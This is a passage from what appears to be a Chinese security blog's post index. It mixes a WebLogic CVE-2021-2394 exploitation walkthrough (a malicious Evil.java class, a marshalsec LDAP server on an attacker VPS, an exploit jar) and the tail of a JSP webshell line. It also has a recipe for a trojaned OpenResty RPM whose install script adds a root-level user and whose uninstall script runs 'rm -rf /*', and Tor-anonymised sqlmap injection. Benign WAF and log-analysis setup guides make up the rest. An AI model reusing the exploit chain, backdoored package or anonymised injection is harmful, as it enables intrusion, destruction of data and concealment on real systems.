sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> 冰蝎连接 修复建议 设置Config.do页面登录授权后访问 IPS等防御产品可以加入相应的特征 升级到官方最新版本 Weblogic反序列化漏洞(cve_2021_2394)环境安装: 1234wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/fmw_12.2.1.3.0_wls_Disk1_1of1.zipunzip fmw_12.2.1.3.0_wls_Disk1_1of1.zipjava -jar fmw_12.2.1.3.0_wls.jar使用管理员运行:C:\\Oracle\\Middleware\\Oracle_Home\\user_projects\\domains\\wl_server\\startWebLogic.cmd 请使用低版本的jdk安装weblogic进行测试 基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 From: 虚拟机中无法复现 后面看到了Iz2y 的EXP中有这篇说明:手把手教你解决Weblogic CVE-2020-2551 POC网络问题,应该就是这个问题了,这里我的理解是docker里面返回的地址是一个内网地址(172开头),我们攻击的机器只能访问外网的地址,因此导致发送不了攻击数据;但是本地就不一样了,本地是能够直接访问docker的网络的,所以本地就不会有问题,而在真实环境中也应该没有这种问题. 漏洞概述Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击.成功利用该漏洞的攻击者可以接管WebLogic Server. 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表.漏洞条件: 启用了IIOP、T3协议 JDK版本符合JNDI注入条件 影响版本: WebLogic Server 10.3.6.0.0 WebLogic Server 12.1.3.0.0 WebLogic Server 12.2.1.3.0 WebLogic Server 12.2.1.4.0 WebLogic Server 14.1.1.0.0 漏洞复现 下载marshalsec利用marshalsec开启JNDI服务 https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/marshalsec-0.0.3-SNAPSHOT-all.jarhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/marshalsec-0.0.3-SNAPSHOT-all.jar 创建Evil.java,通过javac编译得到Evil.class 12345public class Evil { public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe"); }} javac Exploit.java必须是java1.8 在VPS同目录下使用python开启一个http服务,并使用marshalsec开启JNDI服务 12python3 -m http.server 8080java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR-VPS-IP:8080/#Evil" 6666 利用exp进行复现 12wget https://github.com/lz2y/CVE-2021-2394/releases/download/2.0/CVE_2021_2394_jar.zipjava -jar CVE_2021_2394.jar 127.0.0.1 7001 ldap://YUR-IP-VPS:6666/Evil 结果 修复建议 升级版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"安全加固之Linux软件包封装脚本分析","path":"/2022/09/12/491035d1/","content":"总字符数: 2.10K 代码: 1.97K, 文本: 0.04K 预计阅读时间: 9 分钟 分析RPM包12345678910111213# 查看软件包的信息rpm -qpi 包名# 查看软件包脚本rpm -qpi --scripts 包名# 安装文件之后要执行的命令postinstall# 卸载文件之后要执行的命令postuninstall# 重要选项说明# preinstall:安装过程开始之前运行的脚本,%pre,--nopre选项不执行# postinstall:安装过程完成之后运行的脚本,%post ,--nopost选项不执行# preuninstall:卸载过程真正开始执行之前运行的脚本,%preun, --nopreun选项不执行# postuninstall:卸载过程完成之后运行的脚本,%postun, --nopostun选项不执行 制作木马RPM包1234567891011121314# 以openresty-1.21.4.1.tar.gz源码包为例,我们通过rpm-build将其封装成为木马rpm包# 安装依赖环境yum -y install gcc rpm-build pcre openssl-devel perl# 生成rpmbuild目录结构rpmbuild -ba nginx.spec错误:stat /root/nginx.spec 失败:没有那个文件或目录# 会报错,不过没问题 需要的只是生成的目录rombuild# RPMS(做好后的成品放置区)# SOURCES(放置源码包)# SPECS(配置文件)# 将源码软件下载到SOURCES目录wget -P /root/rpmbuild/SOURCES/ https://openresty.org/download/openresty-1.21.4.1.tar.gz# 创建并修改spec配置文件vim /root/rpmbuild/SPECS/nginx.spec 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657# 软件名称Name: openresty# 软件版本Version: 1.21.4.1# RPM版本 打包版本次数Release: 1%{?dist}Summary: The is a Web Server,to Openresty # 描述# Group: # 软件组,不知道的可以注释# 协议,所属开源软件协议都是GPLLicense: GPL# 网址URL: www.kali.com# 源码文件,必须是源码包名称Source0: openresty-1.21.4.1.tar.gz# 依赖包,不知道可以注释BuildRequires: gcc pcre openssl-devel # 依赖包# Requires: %descriptionThe is a Web Server,to Openresty# 准备工作%prep# 开始识别源码的压缩方式等准备工作%setup -q%build# 可在此添加需要的模块./configure --with-http_ssl_module --with-http_stub_status_modulemake %{?_smp_mflags}%install# 把软件装在BUILDROOT目录下make install DESTDIR=%{buildroot}%files# 需要把哪些目录压缩%doc# 把整个nginx目录打包/usr/local/openresty/*%changelog# 安装前执行的脚本,这里创建root权限的用户# 这里想干什么自己应该清楚了,Shell...Payload等等等等%postuseradd -d /usr/local/bin -u 0 -o kali# 卸载后执行的脚本,这里删除根目录以及kali用户%postun rm -rf /* &>/dev/nulluserdel -r kali 123456# 使用 rpmbuild创建RPM软件包rpmbuild -ba /root/rpmbuild/SPECS/nginx.specll /root/rpmbuild/RPMS/x86_64/# 查看安装路径rpm -qpl /root/rpmbuild/RPMS/x86_64/openresty-1.21.4.1-1.el7.x86_64.rpm 效果演示1234# 回复快照# 装包rpm -ivh /root/openresty-1.21.4.1-1.el7.x86_64.rpm --nodeps --force rpm -e openresty","tags":["Linux","安全加固"],"categories":["安全加固"]},{"title":"基于Awstats的Apache日志分析","path":"/2022/09/06/6e6b1513/","content":"总字符数: 3.23K 代码: 2.14K, 文本: 0.50K 预计阅读时间: 11 分钟 安装依赖1yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel fping curl-devel libxml2 libxml2-devel snmpd net-snmp-devel net-snmp pcre-devel java-devel openssl-devel libxslt* perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel libxml2-devel redis vim wget git htop iftop libtool make automake mlocate openssl-devel pam-devel unzip gcc screen openssl openssl-devel iptables-services bash-completion* pcre-devel openssl-devel libxslt* perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel net-tools libevent-devel net-snmp-devel mysql-devel libxslt-devel libssh2-devel jdk-8u191-linux-x64.rpm unixODBC-devel httpd libcurl libevent fping curl-devel libxml2 snmpd net-snmp-devel net-snmp 安装EPEL-release1yum install epel-release -y 安装awstats1yum install awstats -y 为 Apache 配置 awstats AWStats 会生成一个默认的 Apache 配置文件/etc/httpd/conf.d/awstats.conf此文件允许访问所有 IP 地址,但如果想从特定网络或 IP 地址访问 Awstats,就修改”允许来自”部分 此文件与您所需的网络 IP.进行更改后,重启apache 为网站创建 awstats 配置文件为所需网站制作一个配置文件,以便我们检查其统计信息.也可以为每个网站制作单独 的文件. 使用以下命令==使用自己的域名创建默认 AStats 配置文件的副本== 1cp /etc/awstats/awstats.localhost.localdomain.conf /etc/awstats/awstats.192.168.226.133.conf 然后在awstats.192.168.226.133.conf文件中进行一些更改,使用以下命令对其进行编辑. 12345vim /etc/awstats/awstats.192.168.226.133.conf# 并使用自己的域名修改此文件中的以下行LogFile="/var/log/httpd/yourdomain.com-access_log"SiteDomain="yourdomain.com"HostAliases="www.yourdomain.com localhost 127.0.0.1" 现在保存对文件的更改并启动apache 使用以下命令从当前日志更新您的网站统计信息 注意:不要忘记将 -config=yourdomain.com 替换你自己的域名. 1/usr/share/awstats/wwwroot/cgi-bin/awstats.pl -config=yourdomain.com -update 如果遇到日志文件错误,尝试新建.log文件再尝试. 1mkdir /var/log/httpd/yourdomain.com-access_log 修改awstats.conf文件 12345678910 vim /etc/httpd/conf.d/awstats.conf <Directory "/usr/share/awstats/wwwroot"> Options None AllowOverride None Require all granted # (主要是增加了这一行) # 重启服务并设置开机自启 systemctl restart httpd.servicesystemctl enable httpd.service 设置计划任务设置一个 cron 作业,以在特定时间间隔内不断更新网站统计信息.例如,我们希望每 59 分钟更新一次网站统计信息,因此我们将使用以下命令配置 cron 作业 12crontab -e*/59 * * * * root /usr/share/awstats/wwwroot/cgi-bin/awstats.pl -config=yourdomain.com -update 保存退出. 从Web 浏览器访问 Awstats想查看您的网站统计信息,请使用以下链接,但不要忘记在该链接中使用我们自己的服务器IP和域名http://192.168.226.133/awstats/awstats.pl?config=192.168.226.133","tags":["应急响应","日志分析","Apache"],"categories":["应急响应","日志分析"]},{"title":"编译安装OpenResty2.14+Modsecurity以支持TLSv1.3","path":"/2022/08/31/4f4c30bf/","content":"总字符数: 15.35K 代码: 13.73K, 文本: 0.64K 预计阅读时间: 1.04 小时 0x01 前言最近利用awvs以及Wpscan对网站进行了漏洞扫描,扫出来一堆漏洞,然后就对服务器进行了一次大升级,才有了这篇文章 0x02 准备因为我应用环境的需要,所以需要建立临时文件夹并下载相关文件 模块 说明 lua-nginx-module 用于支持lua模块 nginx-ct 启用证书透明度 ModSecurity 用于编译ModSecurity ModSecurity-nginx 用于连接ModSecurity与nignx 安装依赖1yum install -y libxml2 libxslt-devel gperftools pcre-devel libuuid-devel libxslt* libblkid-devel libudev-devel fuse-devel libedit-devel perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel libxml2-devel redis vim wget git htop iftop libtool make automake mlocate pam-devel unzip gcc screen iptables-services bash-completion* pcre-devel libxslt* perl-ExtUtils-Embed at python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel net-tools luajit 新建文件夹1[root@web-dev ~] mkdir /opt/nginx 进入文件夹1[root@web-dev ~] cd /opt/nginx/ 下载 ngx_http_headers_module1[root@web-dev nginx] git clone https://github.com/openresty/headers-more-nginx-module.git 下载 lua-nginx-module1[root@web-dev nginx] git clone https://github.com/openresty/lua-nginx-module.git 12# 下载nginx-ct [root@web-dev nginx] git clone https://github.com/grahamedgecombe/nginx-ct.git 下载 Openssl1[root@web-dev nginx] wget https://www.openssl.org/source/openssl-1.1.1q.tar.gz 下载 ModSecurity123[root@web-dev nginx] git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity #下载ModSecurity-nginx [root@web-dev nginx] git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git 下载 Nginx123[root@web-dev nginx] wget https://openresty.org/download/openresty-1.21.4.1.tar.gz #下载OWASP ModSecurity CRS [root@web-dev nginx] git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git 最后解压被压缩的软件:解压并删除nginx压缩包1[root@web-dev nginx] tar -zxvf openresty-1.21.4.1.tar.gz && rm -f openresty-1.21.4.1.tar.gz 解压openssl压缩包1[root@web-dev nginx] tar -zxvf OpenSSL_1_1_1q.tar.gz && rm -f OpenSSL_1_1_1q.tar.gz 最终,该目录下会有这些文件夹: 12345678910[root@iztsvh228msdkjz nginx]# ll total 32 drwxr-xr-x 6 root root 4096 Sep 26 14:09 headers-more-nginx-module drwxr-xr-x 11 root root 4096 Sep 26 14:20 lua-nginx-module drwxr-xr-x 13 root root 4096 Sep 26 14:45 ModSecurity drwxr-xr-x 6 root root 4096 Sep 26 14:45 ModSecurity-nginx drwxr-xr-x 8 wordpress wordpress 4096 Apr 21 22:09 openresty-1.21.4.1drwxr-xr-x 3 root root 4096 Sep 26 14:22 nginx-ct drwxrwxr-x 18 root root 4096 May 28 2019 openssl-OpenSSL_1_1_1c drwxr-xr-x 8 root root 4096 Sep 26 14:53 owasp-modsecurity-crs 0x03 编译安装0x03.1 配置安装openssl配置12cd openssl-OpenSSL_1_1_1q./config --prefix=/usr 编译&&安装12make && make install ldconfig 查看安装版本1openssl version 0x03.2 Modsecurity Lib先编译Modsecurity Lib,进入ModSecurity源码文件夹并运行以下命令: 进入文件夹1[root@modsecurity openssl-OpenSSL_1_1_1c] cd /opt/nginx/ModSecurity 初始化submodule1234[root@modsecurity ModSecurity] git submodule init Submodule 'bindings/python' (https://github.com/SpiderLabs/ModSecurity-Python-bindings.git) registered for path 'bindings/python' Submodule 'others/libinjection' (https://github.com/client9/libinjection.git) registered for path 'others/libinjection' Submodule 'test/test-cases/secrules-language-tests' (https://github.com/SpiderLabs/secrules-language-tests) registered for path 'test/test-cases/secrules-language-tests' 更新submodule123456789101112131415161718[root@modsecurity ModSecurity] git submodule update Cloning into 'bindings/python'...remote: Counting objects: 38, done.remote: Total 38 (delta 0), reused 0 (delta 0), pack-reused 38Unpacking objects: 100% (38/38), done.Submodule path 'bindings/python': checked out 'bc625d5bb0bac6a64bcce8dc9902208612399348'Cloning into 'others/libinjection'...remote: Counting objects: 9937, done.remote: Total 9937 (delta 0), reused 0 (delta 0), pack-reused 9937Receiving objects: 100% (9937/9937), 5.45 MiB 1.24 MiB/s, done.Resolving deltas: 100% (6083/6083), done.Submodule path 'others/libinjection': checked out 'bf234eb2f385b969c4f803b35fda53cffdd93922'Cloning into 'test/test-cases/secrules-language-tests'...remote: Counting objects: 232, done.remote: Total 232 (delta 0), reused 0 (delta 0), pack-reused 232Receiving objects: 100% (232/232), 89.18 KiB 85.00 KiB/s, done.Resolving deltas: 100% (131/131), done.Submodule path 'test/test-cases/secrules-language-tests': checked out 'e6b03e46046ce9ce6dcfc0e6ad0820194e21db35' 完成后,在根目录下会有一个build.sh的可执行文件: 123456789101112131415161718192021[root@eef51b ModSecurity] ll -htotal 172K-rw-r--r-- 1 root root 202 Sep 23 18:53 AUTHORSdrwxr-xr-x 3 root root 20 Sep 23 18:53 bindingsdrwxr-xr-x 2 root root 275 Sep 23 18:53 build-rwxr-xr-x 1 root root 273 Sep 23 18:53 build.sh-rw-r--r-- 1 root root 18K Sep 23 18:53 CHANGES-rw-r--r-- 1 root root 17K Sep 23 18:53 configure.acdrwxr-xr-x 2 root root 85 Sep 23 18:53 docdrwxr-xr-x 7 root root 176 Sep 23 18:53 examplesdrwxr-xr-x 3 root root 25 Sep 23 18:53 headers-rw-r--r-- 1 root root 12K Sep 23 18:53 LICENSE-rw-r--r-- 1 root root 18K Sep 23 18:53 Makefile.am-rw-r--r-- 1 root root 10K Sep 23 18:53 modsecurity.conf-recommended-rw-r--r-- 1 root root 377 Sep 23 18:53 modsecurity.pc.indrwxr-xr-x 4 root root 78 Sep 23 18:53 others-rw-r--r-- 1 root root 13K Sep 23 18:53 README.mddrwxr-xr-x 12 root root 4.0K Sep 23 18:53 srcdrwxr-xr-x 9 root root 4.0K Sep 23 18:53 testdrwxr-xr-x 3 root root 44 Sep 23 18:53 tools-rw-r--r-- 1 root root 52K Sep 23 18:53 unicode.mapping 运行build.sh 12345678910111213141516171819202122232425262728293031[root@modsecurity ModSecurity] ./build.shlibtoolize: putting auxiliary files in `.'.libtoolize: copying file `./ltmain.sh'libtoolize: putting macros in AC_CONFIG_MACRO_DIR, `build'.libtoolize: copying file `build/libtool.m4'libtoolize: copying file `build/ltoptions.m4'libtoolize: copying file `build/ltsugar.m4'libtoolize: copying file `build/ltversion.m4'libtoolize: copying file `build/lt~obsolete.m4'fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.configure.ac:44: installing './ar-lib'configure.ac:119: installing './config.guess'configure.ac:119: installing './config.sub'configure.ac:39: installing './install-sh'configure.ac:39: installing './missing'parallel-tests: installing './test-driver'examples/multiprocess_c/Makefile.am: installing './depcomp'configure.ac: installing './ylwrap'fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything. 在build的过程中会出现以下错误,忽略即可: 1fatal: No names found, cannot describe anything. 然后是configure、编译和安装: 编译安装三部曲1./configure && make && make install 完成ModSecurity的编译安装后就可以准备nignx的编译参数了: 1./configure --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-dynamic-module=/opt/nginx/headers-more-nginx-module 0x03.3 Nginx编译&安装1cd /opt/nginx/openresty-1.21.4.1/ configure1./configure --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-dynamic-module=/opt/nginx/headers-more-nginx-module 编译1[root@web-dev nginx-1.13.10] make 安装1[root@web-dev nginx-1.13.10] make install 创建目录 1mkdir -p /var/tmp/nginx/client_body 最后查看nginx版本与检查编译参数: 123456[root@localhost nginx-1.18.0]# nginx -Vnginx version: nginx/1.18.0built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) built with OpenSSL 1.1.1c 28 May 2019TLS SNI support enabledconfigure arguments: --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-module=/opt/nginx/headers-more-nginx-module 0x03.4 Nginx与modsecurity配置modsecurity灵活性很高,你可以将ModSecurityEnabled这个指令放置在server或location块,以此控制modsecurity的启用与否.以下使用nginx默认的配置文件nginx.conf进行修改,首先在文件顶部添加以下内容: 1load_module /usr/local/nginx/nginx/nginx/modules/ngx_http_modsecurity_module.so; 让nginx加载动态模块,这样才能识别下方ModSecurity的配置内容.然后将以下两行内容放置在location块中: 12modsecurity on;modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; 到这里nginx配置文件的修改就完成了. 0x03.5 Modsecurity配置文件准备12345[root@iztsvh228msdkjz nginx] mkdir /usr/local/nginx/modsecuritycp /opt/nginx/ModSecurity/modsecurity.conf-recommended /usr/local/nginx/modsecurity/modsecurity.confcp /opt/nginx/owasp-modsecurity-crs/crs-setup.conf.example /usr/local/nginx/modsecurity/crs-setup.confcp -r /opt/nginx/owasp-modsecurity-crs/rules/ /usr/local/nginx/modsecurity/cp /opt/nginx/ModSecurity/unicode.mapping /usr/local/nginx/modsecurity/unicode.mapping 然后在/usr/local/nginx/modsecurity 目录下新建一个名为modsec_includes.conf的文件并填入owasp modsecurity crs配置文件与modsecurity.conf的路径: 123include /usr/local/nginx/modsecurity/modsecurity.confinclude /usr/local/nginx/modsecurity/crs-setup.confinclude /usr/local/nginx/modsecurity/rules/*.conf 最终该目录下有这些文件 1234567[root@eef51b modsecurity] lltotal 108-rw-r--r-- 1 root root 32931 Sep 24 19:31 crs-setup.conf-rw-r--r-- 1 root root 156 Sep 24 19:23 modsec_includes.conf-rw-r--r-- 1 root root 10199 Sep 24 19:30 modsecurity.confdrwxr-xr-x 2 root root 4096 Sep 24 19:21 rules-rw-r--r-- 1 root root 53146 Sep 24 19:32 unicode.mapping 0x03.6 Modsecurity实施拦截动作编辑 1vim /usr/local/nginx/modsecurity/modsecurity.conf 修改SecRuleEngine1SecRuleEngine On 打开crs-setup.conf1vim /usr/local/nginx/modsecurity/crs-setup.conf 注释以下内容12SecDefaultAction "phase:1,log,auditlog,pass"SecDefaultAction "phase:2,log,auditlog,pass" 取消以下内容的注释12SecDefaultAction "phase:1,log,auditlog,deny,status:403"SecDefaultAction "phase:2,log,auditlog,deny,status:403" Modsecurity日志文件1vim /var/log/modsec_audit.log 0x03.7 Nginx配置文件修改1234567891011121314151617181920212223242526272829load_module /usr/local/nginx/nginx/modules/ngx_http_modsecurity_module.so;http { server { listen 80; server_name localhost; rewrite ^(.*)$ https://$host$1 permanent; location / { #启用modsecurity modsecurity on; modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; root html; index index.html index.htm; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } server { listen 443 ssl; server_name localhost; location / { modsecurity on; modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; root /home/wwwroot/wordpress-1258894728.cos.ap-beijing.myqcloud.com; index index.html index.htm index.php; } }} 可以看到本站已经启用了WAF","tags":["Linux","OpenResty","安全加固"],"categories":["安全加固"]},{"title":"Kali-树莓派+Tor实现匿名流量","path":"/2022/07/05/16c1b24e/","content":"总字符数: 2.36K 代码: 1.15K, 文本: 0.37K 预计阅读时间: 7 分钟 树莓派-Kali下安装Torhttps://sourceforge.net/projects/tor-browser-ports/https://sourceforge.net/projects/tor-browser-ports/ 下载arm版本的tor 点击下载完成后,会有个压缩包: tor-browser-linux-arm64-11.0.15_zh-CN.tar ,移到 Linux下的一个自定义文件夹下,执行如下命令解压 1234 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop\\] └─$ xz -d tor-browser-linux-arm64-11.0.15\\_zh-CN.tar ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop\\] └─$ tar -xvf tor-browser-linux-arm64-11.0.15\\_zh-CN.tar 然后进入tor-browser_zh-CN 文件夹运行./start-tor-browser.desktop 点击运行会出现如下界面: 到这里,Tor 就算安装成功了 Linux 下Tor的使用准备工具: electron-ssr clash 以上选其一默认已经准备好了,不懂的百度 打开Tor浏览器设置,配置浏览器代理后就能访问了Tor服务器了 配置 proxychains 实现tor代理无限切换ip查看tor的端口12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ netstat -pantu grep tor 查找 proxychains.conf 位置12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ locate proxychains.conf 修改 proxychains.conf 文件123┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ vim /etc/proxychains.conf # 将socks4 127.0.0.1 9050换成socks5 127.0.0.1 9150 测试是否代理成功12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ proxychains firefox ip138.com 配置nc实现tor代理转发查看tor的端口12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ netstat -pantu grep tor 安装nc12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ sudo apt-get install ncat 监听本机9550端口,将流量转发到本地9150 Tor端口上12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ ncat --sh-exec "ncat 127.0.0.1 9150" -l 9550 --keep-open Tor代理一般为5分钟刷新一次 SqlMap渗透工具结合 tor 实现匿名注入123 sqlmap.py -u "xxxxx" --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --time-sec 10 # 参数:–time-sec # 当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒.","tags":["Kali","信息安全","极客"],"categories":["Kali"]},{"title":"Kali-安装W3af踩坑记录","path":"/2022/06/25/d52cd33f/","content":"总字符数: 2.47K 代码: 2.11K, 文本: 0.16K 预计阅读时间: 10 分钟 w3af是web application attack and audit framework (web应 用攻击和安全审计框架)的缩写. 他是一个开源的Web应用安全扫描器和漏洞利用工具 https://docs.w3af.org/en/latest/https://docs.w3af.org/en/latest/ w3af仅支持Python2.x版本,不支持3.x 下载w3af1234┌──(kali㉿kali)-[/opt/漏洞分析] └─$ cd /opt/漏洞利用/ ┌──(kali㉿kali)-[/opt/漏洞分析] └─$ sudo git clone --depth 1 https://github.com/andresriancho/w3af.git 查看Python版本w3af只支持2.x版本的python12┌──(kali㉿kali)-[/opt/漏洞分析] └─$ python --version 如果是3.x的版本,再用下面这条命令看kali上面装了几个python版本,一般是3个1 ll /usr/bin grep python 切换python版本123456┌──(kali㉿kali)-[/opt/漏洞分析] └─$ update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1 update-alternatives: 使用 /usr/bin/python2.7 来在自动模式中提供 /usr/bin/python (python) ┌──(kali㉿kali)-[/opt/漏洞分析] └─$ python --version Python 2.7.18 安装PIP12345678910┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo wget https://bootstrap.pypa.io/pip/2.7/get-pip.py ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo python get-pip.py ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo pip install jsonschema==2.6.0 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo bash /tmp/w3af_dependency_install.sh 安装Npm123456 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo apt-get install npm ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo npm install -g retire@2.0.3 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo npm update -g retire 启动w3af12chown root:root /tmp/w3af_dependency_install.sh vim w3af_console 注释掉dependency_check()函数,在第13行 不注释有的即使装了环境也无法启动1234567┌──(root㉿kali)-[/opt/漏洞分析/w3af] └─# ./w3af_console /usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the 